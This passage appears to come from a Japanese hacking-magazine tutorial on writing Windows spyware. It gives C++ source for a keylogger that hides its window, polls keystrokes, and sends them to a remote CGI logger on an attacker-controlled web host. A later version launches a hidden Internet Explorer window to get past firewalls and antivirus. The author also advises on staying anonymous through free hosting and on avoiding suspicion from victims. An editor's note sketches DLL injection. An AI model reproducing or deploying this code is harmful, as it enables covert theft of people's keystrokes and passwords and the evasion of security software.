' . "\n";
open( RD, $LogFile );
@lines = ;
close( RD );
foreach( @lines ) {
print $_;
}
print ' ' . "\n";
}elsif( $data ) {
open( WR, ">>$LogFile" );
flock( WR, 2 );
print WR "$data\n";
close( WR );
}
print << "EOF";
Hello! And Goodbye!!
EOF exit; ----- 短くするために改行のみの行を省きました。読みにくいですけど、短いので頑 張ってよんでください。CGIプログラムを組んだことがある方なら数分で理解でき ると思います。前準備はこれだけです。 では、スパイウェアを作りましょう。 ■0x04.) HTTP（HyperText Transfar Protocol） save.cgiのあるサーバのポート80番にアクセスしデータを渡すプログラムを作 成します。CGIにはターゲットＰＣのキーログを渡すことにします。キーログは GetAsyncKeyStateを利用することにします。HYDEをdefineするとWindowが非表示 になります。 +--- spy01.cpp ------------------------------+ | http://kenjinet.s26.xrea.com/spy/spy01.cpp | +--------------------------------------------+ ----- BOOL SendLogData(char *MainMemory, UINT len) { SOCKET sock; if((sock = ServConnect(HOST_NAME)) == -1){ return TRUE; } char *SendAllData = new char[len + (int)strlen(FILE_PATH) + 32]; wsprintf(SendAllData, "GET %s?%s HTTP/1.0\r\n\r\n", TEXT(FILE_PATH), MainMemory); send(sock, SendAllData, (int)strlen(SendAllData), 0); delete []SendAllData; shutdown(sock, SD_BOTH); closesocket(sock); WSACleanup(); return FALSE; } ----- SendLogData関数がキーログデータの送信を受け持ちます。ServConnectは接続 処理をまとめたものです。ホストを渡すとソケットを返してくれます。この関数 のソースはシンプルなので適当に読んでください。MainMemoryにはキーログのデ ータが入り、lenにはその長さが入ります。これらをSendAllDataにまとめて送信 します。 ではでは、この関数の呼び出し元に行きましょう。 ----- DWORD WINAPI Logger(LPVOID lpvoid) { DATA *Data = (DATA *)lpvoid; UINT len = 0; ....... ........（中略） ......... if( !(TEXT_SIZE > len) ){ if(SendLogData(MainMemory, len)){ MessageBox(Data->hWnd, "HTTPエラー", "Error", MB_OK); DestroyWindow(Data->hWnd); } ZeroMemory(MainMemory, sizeof(MainMemory)); len = 0; } Sleep(100); } return 0; } ----- 中略の部分にはGetAsyncKeyState関数でのどす黒いキーロギングのソースが並 びます(^^。フックを利用してもよいのですが、メンドクサイのでとりあえずこれ でいきましょう。 Logger関数は、スレッドとして作成され処理されています。 「WINAPI」がついてる関数は、スレッドとして実行される関数のようですが詳 しくはしらないので気になるならば調べてみてください。 Sleepで100ミリ秒待ってるので、つまり0.1秒ごとにキーの入力を調べてます。 しかし。0.1秒は以外に長いもので、結構キーストロークを見逃します。やはり 実用的にするならばフックを利用したほうがよさそうですね。 プログラム自体は単純で、TEXT_SIZEとlenが同じになったら、即ちMainMemory が埋まったら、MainMemoryにはいっている文字列を送信するためにSendLogData に渡します。 そして、ゼロクリアして再び、MainMemoryに溜め込みます。 TEXT_SIZEはプログラムの最初に15としているので15文字溜まったらCGIに送信 されます。気にいらないなら適当に変更してもよいです。 では、次はこの関数を実行したスレッド作成部分にいきます。 ----- case WM_CREATE: Data.hWnd = hWnd; Data.ThreadFlag = TRUE; DWORD ID; if((Thread = CreateThread(NULL, 0, Logger, (LPVOID)&Data, 0, &ID)) == NULL){ MessageBox(hWnd, "スレッドが作成できませんでした", "Error", MB_OK); DestroyWindow(hWnd); } ----- WM_CREATEなので、つまりプログラム実行直後ですね。もちろんWM_DESTROYに も後始末の処理があります。CreateThread関数に関しては、WBvol.8を参照して ください。 では、実際にテストしてみます。 まず、save.cgiをサーバ（適当なCGI可の無料ＨＰスペースで十分ですが私は自 サバで試しました）に設置して、spy.cppを自分のＰＣで実行します。spy.cppは HOST_NAMEとFILE_PATHをそれぞれ適当なCGIパスに変更してください。実行したあ とテキストエディタなど（特になんでもいいです）に数行（15文字以上）文章を 入力するとサーバ側にキーログのファイルが作成されるはずです。見事、ターゲ ットＰＣのキーログを自分のＨＰスペースに保存されてるはずです。あとはFTPや ら繋いでファイルを収集するだけでターゲットＰＣのキーログが取得できます。 このようなスパイウェアは前回の記事で作成した「サーバとして稼動しバック ドア的な機能を提供するプログラム」（trojan.cpp）のように任意のプログラム を実行したりといったパワフルなことはできません。しかし、たとえプログラム （スパイウェア）が見つかったとしても収集者を特定することは困難になるはず です。何故ならtrojan.cppの場合、攻撃者はターゲットＰＣに直接アクセスしな ければならないので、攻撃者のＩＰアドレスがターゲットＰＣに渡されることに なります（もちろんproxyを経由すればよいですけど、telnetの串って少ないじ ゃないですか^^;）。ところが、図１のような仕組みで情報を取得していればタ ーゲットＰＣに残るのはHTTPサーバのアドレスのみです。適当なメールアドレス で無料ＨＰスペースを取得してデータ収集を行っていたならば、たとえスパイウ ェアが見つかっても収集者を特定するのは難しいでしょう。しかもtrojan.cppと 違い直接アクセスするわけではないので、仕込みさえすればあとは何もせずに情 報がサーバに溜まっていくわけです。地味ですが、なかなか面白いですよね(^^;。 ■0x05.) Internet Explorer さて、HTTPを利用して外部にデータを送信する仕組みは分かったと思いますが、 実は「勝手にソケットとか飛ばしたら警告をしやがるアンチウイルスソフトやフ ァイヤーウォールがある」らしいんですよ。いやあんまり知らないんですけど知 人が言ってたので。なのでプログラムの中でソケットを生成するわけにはいかな い。しかも残念ながら私のＰＣにはワクチンソフトもファイヤーウォールも入っ てないので、本当に警告がでるかテストすることもできないわけなんです。だか らここからは推測になってしまいますが、多分そういうソフトはプログラム内で ソケットを直接扱ってるから文句を言うわけであって「Internet Explorerから 利用してやれば何もいわなくなるんじゃないかな？」と思ったわけです。 Internet Explorerの絶対パスはWindowsXPなら"C:\Program Files\Internet Explorer\iexplore.exe"です。無い場合はレジストリの"HKEY_LOCAL_MACHINE\SO FTWARE\Classes\Applications\iexplore.exe\shell\open\command"にパスが記し てありますので参照してください。 ----- C:\...\kenji>cd C:\Program Files\Internet Explorer\ C:\Program Files\Internet Explorer>iexplore.exe C:\Program Files\Internet Explorer> C:\Program Files\Internet Explorer>iexplore.exe http://kenjinet.s26.xrea.com/ C:\Program Files\Internet Explorer> ----- ＩＥが起動します。ＨＰアドレスを引数に渡してやることができます。ソケッ トではなくＩＥを利用して（ＩＥも内部でソケットを生成してます）データを送 信する概要を以下に示します（図２）。 +-----------------------------------+ | HTTPサーバ（データを保存するCGI） | +-----------------------------------+ ↑（接続する） +---------------------+（生成）+---------------------+ | spyware (spy02.cpp) |------->| Internet Explorer | +---------------------+ +---------------------+ （プロセス１） （プロセス２） （図２） spy01.cppはプログラムの中でHTTPを利用してアクセスしてましたがspy02.cpp はCGIへのアクセス処理自体をＩＥに任せます。よって送信したいデータ（キー ログ）はすべてＩＥに渡すことになります。そしてもちろんＩＥのWindowは非表 示とします。これによって内部でＩＥが起動しこっそりと情報をサーバに送信す るスパイウェアの完成です。たとえアンチウイルスソフトやファイヤーウォール が外部への情報漏れをとめようとしても、ＩＥを利用しているならばそう簡単に 防ぐことはできないでしょう。おそらくファイヤーウォールは貫通するはずです。 なぜならＩＥを利用しているということは普通にブラウザでインターネットを閲 覧している状態と変わらないのですから。 +--- spy02.cpp ------------------------------+ | http://kenjinet.s26.xrea.com/spy/spy02.cpp | +--------------------------------------------+ 接続処理を担当するServConnect関数はなくなりました。かわりにSendLogData 関数が長くなりました。 ----- BOOL SendLogData(char *MainMemory, UINT len) { int SendAllDataLen; SendAllDataLen = (int)strlen(PRGRM_NAME); SendAllDataLen += (int)strlen(HOST_NAME); SendAllDataLen += (int)strlen(FILE_PATH); SendAllDataLen += len; char *SendAllData = new char[SendAllDataLen + 16]; wsprintf(SendAllData, "%s http://%s%s?%s\r\n", TEXT(PRGRM_NAME), TEXT(HOST_NAME), TEXT(FILE_PATH), MainMemory); ----- SendAllDataが実行すべき文字列になります。まず、ＩＥの絶対パス、空白を はさんで第一引数に「http://ホスト/パス?送信したいデータ」となります。サ ーバにおいている保存を受け持つCGIはsave.cgiです。 ----- STARTUPINFO SI; ZeroMemory(&SI, sizeof(SI)); SI.cb = sizeof(SI); SI.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; SI.wShowWindow = SW_HIDE; PROCESS_INFORMATION PI; if(CreateProcess(NULL, SendAllData, NULL, NULL, TRUE, 0, NULL, NULL, &SI, &PI) != TRUE){ return TRUE; } ----- プロセスを生成しています。これがＩＥの起動になりますのでWindow（ＩＥ） は非表示にしておきます。CreateProcess関数の説明はWBvol.8を参照してくださ い。 ----- char Title[256]; wsprintf(Title, "%s - Microsoft Internet Explorer", TEXT(FILE_TITLE)); HWND ieWindow; if((ieWindow = FindWindow(NULL, Title)) == NULL){ return TRUE; } PostMessage(ieWindow ,WM_CLOSE, 0, 0); WaitForSingleObject(PI.hProcess, 3000); CloseHandle(PI.hProcess); delete []SendAllData; return FALSE; } ----- ここはＩＥのWindowを探す処理を行っています。ＩＥのWindowタイトルは「Ｈ Ｐのタイトル - Microsoft Internet Explorer」となりますので（例えばＩＥで Wizard Bibleを閲覧してるなら「Wizard Bible - Microsoft Internet Explorer」 ですよね）それをTitle変数にいれてます。そしてFindWindow関数でその該当す るWindow（つまりＩＥ）を検索します。もしそういうタイトルのWindowが存在し なかったなら何かしらのエラーなのでTRUEを返します。存在したならサーバ上の CGIにデータ送信を完了したということなのでPostMessageでWM_CLOSEを送信し終 了させます。あとはWaitForSingleObjectでプロセスの終了を受け取ってハンド ルを閉じます。 さて、これを実行してみてください。15文字のキーログを取得しデータを送信 するときにマウスが「砂時計」になっちゃいます（なりませんか？）。個人的な 見解と偏見によるとおそらくＩＥ起動に処理がかかってるんだろうなと思います が、こればっかりはどうしようもありません(^^;。15文字ごとに起動されちゃう ので、このような頻度で砂時計がでてきたら「もしかしたらウイルスに感染した かも？」という風に気づいちゃう人がでてくるかもしれないのでなんとかしたい です。まぁ文字送信の単位を15文字ではなく256文字くらいにしてもよいのです が、あまり長いとログの更新が遅れるので、例えばダブルクリックをフックして 送信するというようにするなどがよいかもしれません。ダブルクリックをする場 合はだいたいプログラムの起動なわけですので砂時計がでても「起動しているプ ログラムが重いのかな？」くらいですむでしょうし。ＩＥを利用してる分アンチ ウイルスソフトやファイヤーウォールには引っかかりにくいと思いますが、いろ いろと融通がきかないのは仕方ないです。 【編注】別のアプローチ（根本的な考えは同じ）として、FindWindowでウィンド ウハンドルを取得してから、GetWindowThreadProcessldでスレッドIDを取得し、 SetWindowsHookExでWindowsフックを設定し、PostThreadMessageでDLLをプロセ スに読み込ませることでも実現できます。DLL extraction（DLL抽出）というテ クニックです。 ■0x06.) getコマンド HTTPを利用してインターネット上のページを取得するのにもっともよく利用さ れているプログラムはＩＥかもしれませんが、ページを取得するだけならコマン ドプロンプトからgetコマンドを利用しても同様のことができます（もちろんこ ちらはCUIですけどね、故に軽いです）。 ----- C:\...\kenji>get http://kenjinet.s26.xrea.com/ ......... ...(省略)... ............